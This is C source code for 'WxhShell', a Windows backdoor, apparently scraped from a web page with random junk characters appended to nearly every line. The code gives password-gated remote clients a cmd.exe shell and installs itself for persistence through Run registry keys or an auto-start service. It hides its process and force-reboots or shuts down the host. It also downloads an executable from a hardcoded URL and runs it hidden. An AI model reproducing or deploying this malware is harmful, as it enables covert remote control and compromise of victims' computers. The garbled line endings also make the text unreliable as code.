    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BidTrO  
    if(Boot(SHUTDOWN)) y^*o%2/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mBrH`!  
    else { @U 6jd4?)  
    closesocket(wsh); +sW;p?K7eO  
    ExitThread(0); mw\ z'  
    } N4xC Zb  
    break; 1@i|[dq  
    } `<"@&N^d  
  // 获取shell YUGEGXw  
  case 's': { H,{WrWA  
    CmdShell(wsh); (/^s?`1{N?  
    closesocket(wsh); ?f8)_t}^\  
    ExitThread(0); z AZ+'9LB  
    break; _,ki/7{  
  } xsO "H8  
  // 退出 2m*g,J?ql  
  case 'x': { (\I9eBm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pef)c,U$  
    CloseIt(wsh); _<8~CWo:  
    break; qDV t  
    } #B^A"?*S  
  // 离开 "KiTjl`M,  
  case 'q': { fHLt{!O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); XHh!Q0v;  
    closesocket(wsh); 1^HmM"DD  
    WSACleanup(); u alpm#GU  
    exit(1); ;h-W&i7  
    break; 7~I*u6zY  
        } t/kMV6  
  } w<P$)~6  
  } wAvnj  
e!B>M{  
  // 提示信息 ^E#i5d+'N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); . XVW2ISv  
} it#,5#Y:  
  } ,u<oAI`  
gB)Cmw*  
  return; k vQ] }`a  
} PsMp &~^  
0D s W1  
// shell模块句柄 'Zket=Sm;  
int CmdShell(SOCKET sock) r3BQo[ 't  
{ Qf .ASC   
STARTUPINFO si; ,O'#7Dj  
ZeroMemory(&si,sizeof(si)); 0#d:<+4D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l(<=JUO;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6 6%_p]U  
PROCESS_INFORMATION ProcessInfo; h 3`\L4b  
char cmdline[]="cmd"; =>LQW;Sjz  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6SqS\ 8  
  return 0; LK}*k/eG  
} &*nq.l76X`  
1zP)~p3a  
// 自身启动模式 Gpb<,v_3  
int StartFromService(void) g.wDg  
{ Ifu[L&U  
typedef struct u(Kof'p7  
{ sA|!b.q  
  DWORD ExitStatus; {@7xOOAw  
  DWORD PebBaseAddress; /)-OK7x  
  DWORD AffinityMask; e a3f`z  
  DWORD BasePriority; 2gM/".|{  
  ULONG UniqueProcessId; tYk!Y/O}  
  ULONG InheritedFromUniqueProcessId; GpZ}xY'|w,  
}   PROCESS_BASIC_INFORMATION; t8?$q})RL  
^D5+ S`V  
PROCNTQSIP NtQueryInformationProcess; tZL {;@  
nc[Kh8N9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q&@e,7]V+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zAkF:^#Y  
O}3|UI!`  
  HANDLE             hProcess; >oGs0mej  
  PROCESS_BASIC_INFORMATION pbi; B'D\l\w  
Gv+$7{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;xQNa}"V  
  if(NULL == hInst ) return 0; >>b <)?3Rv  
+}eH,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Py~1xf/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5kx-s6 `!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !x$6wzKa  
MfU0*nVF~  
  if (!NtQueryInformationProcess) return 0; ]I[\Io1  
:?P>))vT%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [q!/YL3 %  
  if(!hProcess) return 0; Gpf9uj%  
{~"fq.h!M  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Kk\TW1w3  
n|N?[)^k  
  CloseHandle(hProcess); o FS2*u  
M/J?$j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L:_GpZ_  
if(hProcess==NULL) return 0; )jPIBzMys  
: =f!>_r+  
HMODULE hMod; ?_t_rF(?6  
char procName[255]; rT"3^,,  
unsigned long cbNeeded; kQw%Wpuq[/  
V~ q b2$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NyR,@n1  
H{et2J<H  
  CloseHandle(hProcess); B(1WI_}~  
cfC}"As  
if(strstr(procName,"services")) return 1; // 以服务启动 V)Sw\tS6g  
7SJbrOL4Q-  
  return 0; // 注册表启动 Q.MbzSgXL  
} sP~;i qk  
Pq(7lua7  
// 主模块 3%(,f,  
int StartWxhshell(LPSTR lpCmdLine) eqSCE6r9x  
{ qx1+'  
  SOCKET wsl; ^e{]WH?  
BOOL val=TRUE; N#p%^GH  
  int port=0; CxD=8X9m  
  struct sockaddr_in door; ^u:bgwP  
_lBHZJ+  
  if(wscfg.ws_autoins) Install(); 8.zYa(< 2  
}Y!v"DO#Q*  
port=atoi(lpCmdLine); \k9]c3V  
<%N*IE"q  
if(port<=0) port=wscfg.ws_port; D%*Ryg  
< #zd]t  
  WSADATA data; u10;qYfL8o  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !B v.@~  
+yI2G! $T9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   EYRg,U&'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q|sT4} =  
  door.sin_family = AF_INET; T"/dn%21  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ] B?NDxU  
  door.sin_port = htons(port); GDQQ4-|O  
) W/_2Q.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ei4Iv#Oi`  
closesocket(wsl); q&2L@l3A  
return 1; hplxs#  
} sQmJ3 (:HO  
sLd%m+*p  
  if(listen(wsl,2) == INVALID_SOCKET) { +Kp8X53  
closesocket(wsl); ()W`4p  
return 1; j;J`P H  
} GmH`ipi  
  Wxhshell(wsl); 5c0$oyl)M  
  WSACleanup(); 5VSc5*[  
M=54xTh0Y  
return 0; nyL$z-I)  
/V }Z,'+  
} FA{'Ki`  
meYGIP:n  
// 以NT服务方式启动 v, !`A!{D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +GEdVB  
{ X#o<))  
DWORD   status = 0; ? =I']$MH  
  DWORD   specificError = 0xfffffff; 73l,PJ  
~t<uX "K  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Fh4Exl@6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z^c\M\`7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O4cBn{Dq9  
  serviceStatus.dwWin32ExitCode     = 0; sD$K<nyz  
  serviceStatus.dwServiceSpecificExitCode = 0; `LNKbTc[m  
  serviceStatus.dwCheckPoint       = 0; b$sT`+4q  
  serviceStatus.dwWaitHint       = 0; N, ,[V  
30YH}b#B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >avkiT2  
  if (hServiceStatusHandle==0) return; X]_9g[V  
u{cb[M  
status = GetLastError(); SB`xr!~A]  
  if (status!=NO_ERROR) Y,?kS dS  
{ d~q7!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (6i4N2  
    serviceStatus.dwCheckPoint       = 0; ?u5jX J0L  
    serviceStatus.dwWaitHint       = 0; u%5 ,U-  
    serviceStatus.dwWin32ExitCode     = status; \A6 }=  
    serviceStatus.dwServiceSpecificExitCode = specificError; _ BoA&Ism  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]:}7-;$V  
    return; p]qz+Z/  
  } !ScEA=  
p }e| E!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; OBf$Z"i  
  serviceStatus.dwCheckPoint       = 0; X/ Ii}X/p  
  serviceStatus.dwWaitHint       = 0; T^ - -:1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,<$rSvMfg  
} IP^1ca#<  
;B !p4 hu  
// 处理NT服务事件,比如:启动、停止 %{jL+4veoL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) nG$+9}\UlP  
{ ,/"0tP&_;  
switch(fdwControl) <Ira~N  
{ Z&n#*rQ7[  
case SERVICE_CONTROL_STOP: |Y v,zEY)  
  serviceStatus.dwWin32ExitCode = 0; 3 bT?4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V`rxjv}!  
  serviceStatus.dwCheckPoint   = 0; e?N3&ezp  
  serviceStatus.dwWaitHint     = 0; Z4g<Ys*  
  { ==S^IBG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8gG;A8  
  } 0./Rdf=-1j  
  return; z'*{V\  
case SERVICE_CONTROL_PAUSE: ,BR W=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4]ko  
  break; 89{`GKWX  
case SERVICE_CONTROL_CONTINUE: \}AJ)v*<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $wbIe"|  
  break; y,K> Wb9e  
case SERVICE_CONTROL_INTERROGATE: FD5OO;$  
  break; >3}N;  
}; /]of @  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^a$L9p(  
} Fzt7@VNxc  
$-.*8*9  
// 标准应用程序主函数 a`zHx3Yg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %r&36d'  
{ 39d$B'"<1  
6n;? :./  
// 获取操作系统版本 g1 =>u  
OsIsNt=GetOsVer(); nW`] =  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Zy|u5J  
f ~bgZ  
  // 从命令行安装 P0RtS1A  
  if(strpbrk(lpCmdLine,"iI")) Install(); >Bu _NoM  
]]y4$ [|L  
  // 下载执行文件 `|PhXr  
if(wscfg.ws_downexe) { NN5G '|i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ZG? e%  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5RP5%U  
} E,fbIyX  
u>:j$@56  
if(!OsIsNt) { +O)ZB$w4  
// 如果时win9x,隐藏进程并且设置为注册表启动 a5&[O  
HideProc(); A-*MH#QUKh  
StartWxhshell(lpCmdLine); ^gkKk&~A5?  
} e7tio!  
else b}*q*Bq  
  if(StartFromService()) 5=Y(.}6  
  // 以服务方式启动 ,(]k)ym/  
  StartServiceCtrlDispatcher(DispatchTable); .KtK<Ps[S  
else wL}X~Xa3i  
  // 普通方式启动 ~qX wQ@  
  StartWxhshell(lpCmdLine); )\7Cp-E-W  
2`> (LH  
return 0; w ~^{V4V  
} or bz`IQc  
-:~z,F  
hLVgP&/ E  
shO4>Ha  
=========================================== D[6wMep^n  
",' Zr<T  
V;Q@' <w  
Wys$#pJ  
#4!f/dWJp  
rV2>;FG  
" foB&H;A4oC  
5DO}&%.xt  
#include <stdio.h> Vy^mEsQC+h  
#include <string.h> @1U6sQ  
#include <windows.h> D |fo:Xp,  
#include <winsock2.h> Vt-V'`Y  
#include <winsvc.h> eu?P6>urA  
#include <urlmon.h> v- p8~u1N  
HGi%b5:<=M  
#pragma comment (lib, "Ws2_32.lib") t3C#$ >  
#pragma comment (lib, "urlmon.lib") q^7=/d8  
9$}> O]  
#define MAX_USER   100 // 最大客户端连接数 :XTxrYt28  
#define BUF_SOCK   200 // sock buffer &Aym@G|k?  
#define KEY_BUFF   255 // 输入 buffer [E"3 ?p  
nFe  
#define REBOOT     0   // 重启 yo$A0Ti!w  
#define SHUTDOWN   1   // 关机 44KWS~  
Ns#L9T#  
#define DEF_PORT   5000 // 监听端口 !3o/c w9  
ymT]ow6C  
#define REG_LEN     16   // 注册表键长度 prB:E[1  
#define SVC_LEN     80   // NT服务名长度 8#4Gs Q"  
[?(qhp!  
// 从dll定义API #a'CoJs   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  v&7x ~!O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \&U"7gSL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bjN"H`Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vV*/"'>  
Z=< D`  
// wxhshell配置信息 K6@ %@v  
struct WSCFG { FI)0.p  
  int ws_port;         // 监听端口 !!m GsgnW  
  char ws_passstr[REG_LEN]; // 口令 ;&kZ7%  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8%xiHPVg  
  char ws_regname[REG_LEN]; // 注册表键名 ~ H"-km"@  
  char ws_svcname[REG_LEN]; // 服务名 woN d7`C}7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4{b/Nv:b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 l1%*LyD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ZmI#-[/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =/4}!B/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T b*Q4:r"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $-6[9d-N  
IVeA[qA0  
}; = N:5#A  
?ZkVk=t?  
// default Wxhshell configuration fSGaUBiq}  
struct WSCFG wscfg={DEF_PORT, 'C;KNc  
    "xuhuanlingzhe", }VVtv1  
    1, faZc18M^1  
    "Wxhshell", ?}jjBJ&  
    "Wxhshell", 6'e 'UD  
            "WxhShell Service", f9'dZ}B  
    "Wrsky Windows CmdShell Service",  q ^Gj IP  
    "Please Input Your Password: ", >R.!Qze\G  
  1, ): r'IR  
  "http://www.wrsky.com/wxhshell.exe", -Byl~n3*D  
  "Wxhshell.exe" 7]hRAhJ8I  
    }; zP/SDW   
s8k4e6ak  
// 消息定义模块 XHY,;4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L rV|Y~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "\M3||.!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s5X51#J#~  
char *msg_ws_ext="\n\rExit."; SK_N|X].  
char *msg_ws_end="\n\rQuit."; 0,iG9D 7  
char *msg_ws_boot="\n\rReboot..."; 'o7V6KG  
char *msg_ws_poff="\n\rShutdown..."; SV^[)p )  
char *msg_ws_down="\n\rSave to "; P%<MQg|k`  
Ac/LNqIs  
char *msg_ws_err="\n\rErr!"; P_gai7Xg  
char *msg_ws_ok="\n\rOK!"; 5o0H7k]  
18y'#<X!  
char ExeFile[MAX_PATH]; |voZ0U  
int nUser = 0; lO}I>yo}\  
HANDLE handles[MAX_USER]; W=,]#Z+M;  
int OsIsNt; QR$m i1Vv\  
,{Z!T5 |  
SERVICE_STATUS       serviceStatus; }q?q)cG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !{ORFd  
Ihl]"76q/  
// 函数声明 4=|oOIhgb  
int Install(void); yWi?2   
int Uninstall(void); $tK/3  
int DownloadFile(char *sURL, SOCKET wsh); |]?7r?=J9v  
int Boot(int flag); xDmwiVy  
void HideProc(void); )=0@4   
int GetOsVer(void); ETfoL.d$(  
int Wxhshell(SOCKET wsl); kQrby\F(<  
void TalkWithClient(void *cs); cOP%R_ak?  
int CmdShell(SOCKET sock); i^rHZmT  
int StartFromService(void); `<% w4 E  
int StartWxhshell(LPSTR lpCmdLine); mrlhj8W?!  
w}x&wWM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [Fr <tKtB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *C^TCyBK;  
6h\; U5  
// 数据结构和表定义 sT91>'&  
SERVICE_TABLE_ENTRY DispatchTable[] = T`Xz*\}Zb  
{ >~T2MlRux  
{wscfg.ws_svcname, NTServiceMain}, MnptC 1N  
{NULL, NULL} yeV|j\TJI.  
}; WX $AOnEv  
?nf4K/IjZ!  
// 自我安装 }/7rA)_  
int Install(void) KoFWI_(b  
{ jf& oN]sZ  
  char svExeFile[MAX_PATH]; m .^WSy  
  HKEY key; ~vfPsaRh  
  strcpy(svExeFile,ExeFile); y"ms;w'z  
u/5)Yx+5_  
// 如果是win9x系统,修改注册表设为自启动 DF"*[]^[  
if(!OsIsNt) { So#>x5dL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1*B'o<?P1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .L_ Hk  
  RegCloseKey(key); =AeOkie  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { No]#RvEd3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fc%C!^7  
  RegCloseKey(key); w5a;ts_x  
  return 0; <@qJsRbhK  
    } h9+ 7 6  
  } <{.pYrn  
} H`T}k+e2-N  
else { +qyx3c+  
vz)zl2F5sY  
// 如果是NT以上系统,安装为系统服务 qvRs1yr?q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tSaD=#v  
if (schSCManager!=0) =5g|7grQ:`  
{ tU>4?`)E  
  SC_HANDLE schService = CreateService =#vU$~a  
  ( <;dFiI-GO#  
  schSCManager, Kj|\ALI':  
  wscfg.ws_svcname, *YTv"  
  wscfg.ws_svcdisp, Qy) -gax:,  
  SERVICE_ALL_ACCESS, 6,skF^   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "D ivsq^  
  SERVICE_AUTO_START, 05;J7T<  
  SERVICE_ERROR_NORMAL, iM{cr&0  
  svExeFile, V_T~5%9Fy  
  NULL, qWI8 >my11  
  NULL, *BQy$dfE  
  NULL, Aj@t*3  
  NULL, Qf|c^B  
  NULL IHe?/oUL"b  
  ); *GM.2``e  
  if (schService!=0) SCXtBZ`.G  
  { \B8[UZA.&  
  CloseServiceHandle(schService); 2!}rH w  
  CloseServiceHandle(schSCManager); .IORvP-M&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X1%_a.=VF  
  strcat(svExeFile,wscfg.ws_svcname); eo4v[V&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { p 4lB#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `AhTER  
  RegCloseKey(key); 4J2C# Cs  
  return 0; O4,? C)  
    } NQ\<~a`Eq  
  } :z+l=d:4  
  CloseServiceHandle(schSCManager); 7]8apei|  
} (EOYJHZB!  
} Gv 6#LcF#  
k)S'@>n{u  
return 1; _(:bGI'.m  
} x]|-2t  
Iz I hC  
// 自我卸载 lkgB,cflpi  
int Uninstall(void) Yf x'7gj  
{ Us8nOr>5  
  HKEY key; ?) VBkA5j  
l~GcD  
if(!OsIsNt) { 6"jV>CNc@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AM4 :xz  
  RegDeleteValue(key,wscfg.ws_regname); :Pi="  
  RegCloseKey(key); IsB=G-s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { );ZxKGjc4  
  RegDeleteValue(key,wscfg.ws_regname); i  M!=/  
  RegCloseKey(key); MH_3nN  
  return 0; uJL[m(G  
  } g}*F"k4j  
} Z<$ y)bf  
} (hIy31Pf  
else { 'E1m-kJz  
jftf]n&Z(q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u/X1v-2  
if (schSCManager!=0) 0 I[3%Q{  
{ Lz}mz-N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T3^(I~03  
  if (schService!=0) CYN|  
  { ~ ^) 4*@i6  
  if(DeleteService(schService)!=0) { 0uf)6(f  
  CloseServiceHandle(schService); EB[B0e 7}  
  CloseServiceHandle(schSCManager); lag%} ^  
  return 0; 47 9yG/+\  
  } 5U%a$.yr  
  CloseServiceHandle(schService); 9Zpd=m8dU  
  } O\)rp!i  
  CloseServiceHandle(schSCManager); A\~tr   
} <5l!xzvw  
} R]Pv=fn  
M`.v/UQn  
return 1; {~eVZVv  
} ;bes#|^F  
@ykM98K  
// 从指定url下载文件 I0C$  
int DownloadFile(char *sURL, SOCKET wsh) [V.#w|n  
{ )nA fT0()0  
  HRESULT hr; Ct30EZ  
char seps[]= "/"; h$q=NTV  
char *token; ~!TRR .  
char *file;  #Up X  
char myURL[MAX_PATH]; 5<L+T  
char myFILE[MAX_PATH]; ~> |o3&G{  
TTzvH;S  
strcpy(myURL,sURL); Ce_E S.  
  token=strtok(myURL,seps); zsha/:b  
  while(token!=NULL) 44(l1xEN+  
  { *9xv0hRQ%?  
    file=token; j_HwR9^fd,  
  token=strtok(NULL,seps); W\JwEb9Y  
  } /|2 hW`G  
cSs??i D"q  
GetCurrentDirectory(MAX_PATH,myFILE); h;2n2.Q  
strcat(myFILE, "\\"); A>W8^|l6+-  
strcat(myFILE, file); p1(<F_Kta  
  send(wsh,myFILE,strlen(myFILE),0); rP7f~"L  
send(wsh,"...",3,0); ,xsFBNCC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2/V9Or 52  
  if(hr==S_OK) ![4<6/2gy  
return 0; ) v^;"q"  
else qx<h rC0Z&  
return 1; \-~TW4dYe  
Uk|(VR9  
} r__Y{&IO  
*&lNzz5&  
// 系统电源模块 %vFoTu)2  
int Boot(int flag) i$!-mYi+Q!  
{ kA%"-$3  
  HANDLE hToken; CP!>V:w%9!  
  TOKEN_PRIVILEGES tkp; $d _%7xx  
{P@OV1  
  if(OsIsNt) { U<H< !NV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yCT:U&8%F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6`Af2Y_  
    tkp.PrivilegeCount = 1; [<p7'n3x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DKxzk~sOM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O+Qt8,  
if(flag==REBOOT) { ts3BmfR?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Km9Y_`?  
  return 0; 3G)Wmmh"a  
} XF 8$D  
else { YFY$iN~B,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ({_Dg43O'[  
  return 0; WN%KA TA  
} C|W\qXCqu  
  } ^%pM$3ov  
  else { &?mJL0fy  
if(flag==REBOOT) { OfSHZ;,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <"Cacf g  
  return 0; yC]X&1,:z  
} b 5X~^L  
else { 46cd5SLK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _mJnhT3  
  return 0; \E3e vU  
} !9knF t43  
} O>j_xW]V  
kLw07&H  
return 1; :L!O/Bd8V  
} sHSD`mYq  
 8DsXw@o  
// win9x进程隐藏模块 1IRlFC  
void HideProc(void) 5VG[FY6Pl  
{ #A '|O\RGP  
U ,wJ8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5s'oVO*hW  
  if ( hKernel != NULL ) {q-<1|xj/J  
  { "Wz#<! .r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); . w_oWmD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }+fMYgw  
    FreeLibrary(hKernel); R|Lr@k{6+r  
  } 05cyWg9a  
- s,M+Q(<  
return; L| uoFG{  
} =6sL}$  
Pgg\(D#X`  
// 获取操作系统版本 |/R)FT#i  
int GetOsVer(void) 5}uH;E)4  
{ ?4 fXCb]7  
  OSVERSIONINFO winfo; Mr3;B+S  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,#FK3;U  
  GetVersionEx(&winfo); }bxW@(bs  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l" #}g%E  
  return 1; L-T3{I,3  
  else lnk`D(>W  
  return 0; bo  J  
} 5uU.K3G7  
Ikn)XZU^  
// 客户端句柄模块 z!r-g(^G  
int Wxhshell(SOCKET wsl) 7z=zJ4C  
{ 3. kP,  
  SOCKET wsh; 9svnB@  
  struct sockaddr_in client; [8o!X)  
  DWORD myID; xA-u%Vf7@  
A@kp` -  
  while(nUser<MAX_USER) .%(Q*ioDh  
{ cCoa3U/  
  int nSize=sizeof(client); ]H4T80wm&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0~5'O[NhF  
  if(wsh==INVALID_SOCKET) return 1; < c}cgD4  
v&NC` dVR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); PsLMV:O9S  
if(handles[nUser]==0) v;q<h  
  closesocket(wsh); 8Q%rBl.  
else g0P^O@8  
  nUser++; ;;9W/m~]  
  } xsPE UK&g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Tjfg[Z/x  
LyRU2A  
  return 0; $cxulcay=  
} fgmIx  
pa6.Tp>  
// 关闭 socket MMZdF{5@G  
void CloseIt(SOCKET wsh) Z*}5M4  
{ rl0sN5n  
closesocket(wsh); ~e ,D`Lv  
nUser--; ){PL6|5x  
ExitThread(0); BixKK$Lo  
} &3SQVOW ~T  
)L*6xTa~  
// 客户端请求句柄 {PXN$p:'  
void TalkWithClient(void *cs) GtCbzNY  
{ l 4zl|6%  
c3X'Sv  
  SOCKET wsh=(SOCKET)cs; yj6o533o  
  char pwd[SVC_LEN]; 0<8p G:BQ  
  char cmd[KEY_BUFF]; +$hqwNh@Z@  
char chr[1]; y7;i4::A\  
int i,j; ;<JyA3i^V,  
nty^De%  
  while (nUser < MAX_USER) { meHnT9a^  
XF`,mV4  
if(wscfg.ws_passstr) { o Q!56\R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *vL2n>HH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8J P{`)  
  //ZeroMemory(pwd,KEY_BUFF); +wAH?q8f  
      i=0; v[r5!,F  
  while(i<SVC_LEN) { Kd?TIeFE  
)}-,4Iu%  
  // 设置超时 &B</^:  
  fd_set FdRead; Hqel1J  
  struct timeval TimeOut; ;^q@w  
  FD_ZERO(&FdRead); *nv%~t   
  FD_SET(wsh,&FdRead); L"w% ew  
  TimeOut.tv_sec=8; : "|M  
  TimeOut.tv_usec=0; V'XmMn)!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T+OQa+E@P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \,-t]$9  
e;y\v/A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k* ayzg3F>  
  pwd=chr[0]; lzQmD/i*  
  if(chr[0]==0xd || chr[0]==0xa) { . C g2Y  
  pwd=0; 1ke H1[  
  break; FCC9Ht8U?  
  } I.[2-~yf  
  i++; &i&k 4  
    } QJL%J  
5Av bKT  
  // 如果是非法用户,关闭 socket !$/1Q+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /AJ#ngXz  
} /'V(F* g  
p7UdZOi2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 03F%!Rm/j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "k)}qI{  
Op&i6V}<s  
while(1) { h&$7^P  
td:GZ %  
  ZeroMemory(cmd,KEY_BUFF); }tvLe3O  
l\PDou@5  
      // 自动支持客户端 telnet标准   j4ARGkK5B  
  j=0; qUH02" z@9  
  while(j<KEY_BUFF) { bbDl?m&bq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GOT@  
  cmd[j]=chr[0]; (v11;kdJB  
  if(chr[0]==0xa || chr[0]==0xd) { WOW:$.VO^  
  cmd[j]=0; r#ISIgJXG  
  break; dM%#DN8 l  
  } 3D)gy9T&l  
  j++; 7oj ^(R,  
    } C@{#OOa  
|i)7j G<  
  // 下载文件 h L 1q9%  
  if(strstr(cmd,"http://")) { cs]N%M^s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O F$0]V  
  if(DownloadFile(cmd,wsh)) 5pF4{Jd1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ze+_iQ5  
